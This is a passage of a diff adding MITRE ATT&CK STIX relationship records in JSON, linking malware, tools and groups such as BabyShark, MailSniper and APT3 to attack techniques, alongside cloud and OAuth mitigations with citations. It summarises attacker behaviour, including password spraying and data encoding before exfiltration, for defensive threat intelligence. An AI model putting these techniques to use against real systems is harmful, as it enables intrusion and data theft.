"external_references": [ + { + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf", + "description": "US-CERT. (2018, March 09). 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Retrieved June 13, 2018.", + "source_name": "US-CERT SHARPKNOT June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--22dfe85e-3eeb-4b0a-ac61-b80f70a1f092", + "description": "Configure user permissions groups and roles for access to cloud storage.(Citation: Microsoft Azure Storage Security, 2019) Implement strict Identity and Access Management (IAM) controls to prevent access to storage solutions except for the applications, users, and services that require access.(Citation: Amazon S3 Security, 2019) Ensure that temporary access tokens are issued rather than permanent credentials, especially when access is being granted to entities outside of the internal security boundary.(Citation: Amazon AWS Temporary Security Credentials)", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "modified": "2020-07-09T14:02:05.406Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-05T02:15:29.999Z", + "external_references": [ + { + "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide", + "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. 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Retrieved October 18, 2019.", + "source_name": "Amazon AWS Temporary Security Credentials" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ee3162ad-e88e-401c-9fdf-e7f0784141a4", + "description": "Consider using multi-factor authentication to restrict access to resources and cloud storage APIs.(Citation: Amazon S3 Security, 2019)", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "modified": "2020-07-09T14:02:05.384Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-05T02:15:30.002Z", + "external_references": [ + { + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/", + "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. 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Azure Storage security guide. Retrieved October 4, 2019.", + "source_name": "Microsoft Azure Storage Security, 2019" + }, + { + "url": "https://cloud.google.com/kms/docs/key-rotation", + "description": "Google. (n.d.). Key rotation. Retrieved October 18, 2019.", + "source_name": "Google Cloud Encryption Key Rotation" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e3e50d39-fa69-4fca-9353-259247dbd439", + "description": "Frequently check permissions on cloud storage to ensure proper permissions are set to deny open or unprivileged access to resources.(Citation: Amazon S3 Security, 2019)", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "modified": "2020-07-09T14:02:05.435Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-05T02:15:30.005Z", + "external_references": [ + { + "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/", + "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.", + "source_name": "Amazon S3 Security, 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--be61f77a-93a3-4699-b134-52b199c7b196", + "description": "Use access control lists on storage systems and objects.", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "modified": "2020-07-09T14:02:05.453Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-05T02:15:30.007Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b85cff83-6468-4c63-9b25-4ac75fcb0e10", + "description": "[MailSniper](https://attack.mitre.org/software/S0413) can be used for password spraying against Exchange and Office 365.(Citation: GitHub MailSniper)", + "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", + "modified": "2020-03-11T17:15:28.465Z", + "source_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-05T02:34:01.271Z", + "external_references": [ + { + "url": "https://github.com/dafthack/MailSniper", + "description": "Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019.", + "source_name": "GitHub MailSniper" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--03a65a95-b802-49ee-bec1-a65cccec0e89", + "description": "[MailSniper](https://attack.mitre.org/software/S0413) can be used for searching through email in Exchange and Office 365 environments.(Citation: GitHub MailSniper)", + "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "modified": "2020-03-17T16:30:17.326Z", + "source_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-05T02:34:01.287Z", + "external_references": [ + { + "url": "https://github.com/dafthack/MailSniper", + "description": "Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019.", + "source_name": "GitHub MailSniper" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a55d75ab-f5bb-4892-80de-c878be26a67d", + "description": "(Citation: Symantec Leafminer July 2018)", + "target_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", + "modified": "2019-10-05T02:35:42.069Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-05T02:35:42.069Z", + "external_references": [ + { + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "source_name": "Symantec Leafminer July 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d2437ab0-888b-4490-a825-f70a490b7192", + "description": "[MailSniper](https://attack.mitre.org/software/S0413) can be used to obtain account names from Exchange and Office 365 using the Get-GlobalAddressList cmdlet.(Citation: Black Hills Attacking Exchange MailSniper, 2016)", + "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", + "modified": "2020-03-18T20:11:37.182Z", + "source_ref": "tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-06T19:08:28.953Z", + "external_references": [ + { + "source_name": "Black Hills Attacking Exchange MailSniper, 2016", + "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a80b33dc-0fe2-4b0d-a815-51a036fa410f", + "description": "Limit or restrict program execution using anti-virus software. On MacOS, whitelist programs that are allowed to have the plist tag. All other programs should be considered suspicious.", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "modified": "2020-03-13T21:03:18.879Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-07T17:47:39.651Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cdf7492f-4cdd-4119-aa5e-0d94a07a3965", + "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to launch a malicious process.(Citation: TrendMicro Tropic Trooper Mar 2018)", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "modified": "2019-10-07T18:49:09.822Z", + "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T18:49:09.822Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "source_name": "TrendMicro Tropic Trooper Mar 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--95dbd3ec-820c-47af-9734-78c39b092bc4", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has cleaned up all files associated with the secondary payload execution.(Citation: Unit42 BabyShark Apr 2019)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2019-10-07T19:05:49.015Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.015Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/", + "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Apr 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3a0c8e81-6110-4cf3-a965-b700e00fd66c", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has a [PowerShell](https://attack.mitre.org/techniques/T1059/001)-based remote administration ability that can implement a PowerShell or C# based keylogger.(Citation: Unit42 BabyShark Apr 2019)", + "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "modified": "2021-02-09T14:02:09.331Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.030Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/", + "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Apr 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--18d97b33-8ad5-426e-a390-72bea109bee0", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has downloaded additional files from the C2.(Citation: Unit42 BabyShark Apr 2019)(Citation: CISA AA20-301A Kimsuky)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2020-11-06T19:54:38.579Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.045Z", + "external_references": [ + { + "source_name": "Unit42 BabyShark Apr 2019", + "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.", + "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.", + "source_name": "CISA AA20-301A Kimsuky" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fc9a56ec-ef5f-4e45-b004-fe395d6b6d3f", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has used cmd.exe to execute commands.(Citation: Unit42 BabyShark Feb 2019)\t", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-17T19:02:42.036Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.060Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--906699ff-a10f-4527-9173-326965cc51a2", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the ver command.(Citation: Unit42 BabyShark Feb 2019)\t", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2019-10-07T19:05:49.062Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.062Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--09fbfb74-459a-441b-9e07-96c146a26be3", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the whoami command.(Citation: Unit42 BabyShark Feb 2019)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2019-10-07T19:05:49.065Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.065Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--94e051ad-2f6d-4322-a854-6ee1944a8904", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has encoded data using [certutil](https://attack.mitre.org/software/S0160) before exfiltration.(Citation: Unit42 BabyShark Feb 2019)", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2020-03-20T18:06:10.989Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.067Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--54a384e5-17c8-422d-b199-18e7945cb7d6", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the tasklist command.(Citation: Unit42 BabyShark Feb 2019)\t", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2019-10-07T19:05:49.069Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.069Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ab322e5c-dfd2-45dd-bee1-59aec9d1d840", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has added a Registry key to ensure all future macros are enabled for Microsoft Word and Excel as well as for additional persistence.(Citation: Unit42 BabyShark Feb 2019)(Citation: CISA AA20-301A Kimsuky)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-11-04T16:54:47.870Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.072Z", + "external_references": [ + { + "source_name": "Unit42 BabyShark Feb 2019", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.", + "source_name": "CISA AA20-301A Kimsuky" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2f28f6e0-795f-4e0d-8459-514a42a96ce9", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the reg query command for HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default.(Citation: Unit42 BabyShark Feb 2019)\t", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "modified": "2019-10-07T19:05:49.074Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.074Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cef53316-353b-48f8-bce4-1d95f3ff843e", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the ipconfig /all command.(Citation: Unit42 BabyShark Feb 2019)\t", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2019-10-07T19:05:49.099Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.099Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5c738353-868a-4e4d-8628-e1d14e502980", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has used dir to search for \"programfiles\" and \"appdata\".(Citation: Unit42 BabyShark Feb 2019)\t", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2019-10-07T19:05:49.101Z", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T19:05:49.101Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1c1296da-4504-4f00-b16a-8ecc29820ea9", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to use -WindowStyle Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows.(Citation: FireEye Operation Double Tap)", + "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "modified": "2021-02-09T13:52:16.780Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-07T22:15:43.675Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "source_name": "FireEye Operation Double Tap" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b5948b4-eba5-4af6-93d1-71b109167f62", + "description": "Administrators should perform an audit of all OAuth applications and the permissions they have been granted to access organizational data. This should be done extensively on all applications in order to establish a baseline, followed up on with periodic audits of new or updated applications. Suspicious applications should be investigated and removed.", + "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "modified": "2021-04-14T17:56:17.499Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-08T19:55:33.729Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d3e90e1c-b669-4909-ae44-75bfe8bf89e8", + "description": "A Cloud Access Security Broker (CASB) can be used to set usage policies and manage user permissions on cloud applications to prevent access to application access tokens.", + "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "modified": "2021-04-14T17:56:17.500Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-08T19:55:33.750Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--25407fd4-3940-4446-9c17-6eebe902dbdf", + "description": "Administrators can block end-user consent to OAuth applications, disabling users from authorizing third-party apps through OAuth 2.0 and forcing administrative consent for all requests. They can also block end-user registration of applications by their users, to reduce risk. A Cloud Access Security Broker can also be used to ban applications.\n\nAzure offers a couple of enterprise policy settings in the Azure Management Portal that may help:\n\n\"Users -> User settings -> App registrations: Users can register applications\" can be set to \"no\" to prevent users from registering new applications. \n\"Enterprise applications -> User settings -> Enterprise applications: Users can consent to apps accessing company data on their behalf\" can be set to \"no\" to prevent users from consenting to allow third-party multi-tenant applications", + "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "modified": "2021-04-14T17:56:17.521Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-08T19:55:33.752Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--57385cb2-e3ef-4006-b465-a5a48632d02b", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed changing account passwords and logging off current users.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)", + "target_ref": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", + "modified": "2019-10-10T12:16:50.286Z", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-09T19:24:01.724Z", + "external_references": [ + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + }, + { + "source_name": "Unit42 LockerGoga 2019", + "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--14adcf50-912a-48d5-87f6-72d2273039aa", + "description": "[Machete](https://attack.mitre.org/software/S0409) has scanned and looked for cryptographic keys and certificate file extensions.(Citation: ESET Machete July 2019) ", + "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", + "modified": "2019-10-10T12:39:13.784Z", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-10-10T12:39:13.784Z", + "external_references": [ + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c8acdf40-8237-487f-8255-91afa327705d", + "description": "Ensure that applications do not store sensitive data or credentials insecurely. (e.g. plaintext credentials in code, published credentials in repositories, or credentials in public cloud storage).", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2021-10-18T17:40:50.075Z", + "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-10T18:46:45.553Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--70add783-c72c-4048-ba94-5e1e79c2d679", + "description": "Cloud service providers may allow customers to deactivate unused regions.(Citation: CloudSploit - Unused AWS Regions)", + "target_ref": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761", + "modified": "2021-04-22T16:46:43.986Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-10-10T19:17:52.805Z", + "external_references": [ + { + "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc", + "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", + "source_name": "CloudSploit - Unused AWS Regions" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": 